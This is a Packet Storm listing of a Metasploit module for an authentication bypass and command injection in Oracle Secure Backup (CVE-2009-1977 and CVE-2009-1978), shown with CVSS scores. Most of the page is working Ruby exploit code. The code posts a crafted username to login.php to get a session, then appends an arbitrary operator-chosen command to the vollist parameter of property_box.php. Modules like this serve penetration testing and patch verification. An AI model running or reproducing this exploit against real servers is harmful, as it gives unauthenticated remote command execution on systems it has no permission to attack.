Lucene search

K
packetstormJay Turla, metasploit.comPACKETSTORM:180767
HistoryAug 31, 2024 - 12:00 a.m.

Oracle Secure Backup Authentication Bypass / Command Injection

2024-08-3100:00:00
Jay Turla, metasploit.com
packetstormsecurity.com
24
metasploit
oracle secure backup
authentication bypass
command injection
cve-2009-1977
osvdb-55903
cve-2009-1978
osvdb-55904
zdi-09-058
zdi-09-059
win32

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

AI Score

7

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability',  
'Description' => %q{  
This module exploits an authentication bypass vulnerability  
in login.php in order to execute arbitrary code via a command injection  
vulnerability in property_box.php. This module was tested  
against Oracle Secure Backup version 10.3.0.1.0 (Win32).  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2009-1977' ],  
[ 'OSVDB', '55903' ],  
[ 'CVE', '2009-1978' ],  
[ 'OSVDB', '55904' ],  
[ 'ZDI', '09-058' ],  
[ 'ZDI', '09-059' ],  
],  
'DisclosureDate' => '2009-08-18'))  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('CMD', [ false, "The command to execute.", "cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt" ]),  
OptBool.new('SSL', [true, 'Use SSL', true]),  
])  
end  
  
def run  
cmd = datastore['CMD']  
  
res = send_request_cgi(  
{  
'uri' => '/login.php',  
'data' => 'button=Login&attempt=1&mode=&tab=75&uname=-msf&passwd=msf',  
'method' => 'POST',  
}, 5)  
  
if res && res.get_cookies.match(/PHPSESSID=(.*);(.*)/i)  
  
print_status("Sending command: #{datastore['CMD']}...")  
  
send_request_cgi(  
{  
'uri' => '/property_box.php',  
'data' => 'type=Sections&vollist=75' + Rex::Text.uri_encode("&" + cmd),  
'cookie' => res.get_cookies,  
'method' => 'POST',  
}, 5)  
  
print_status("Done.")  
else  
print_error("Invalid PHPSESSION token..")  
return  
end  
end  
end  
`

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

AI Score

7

Confidence

Low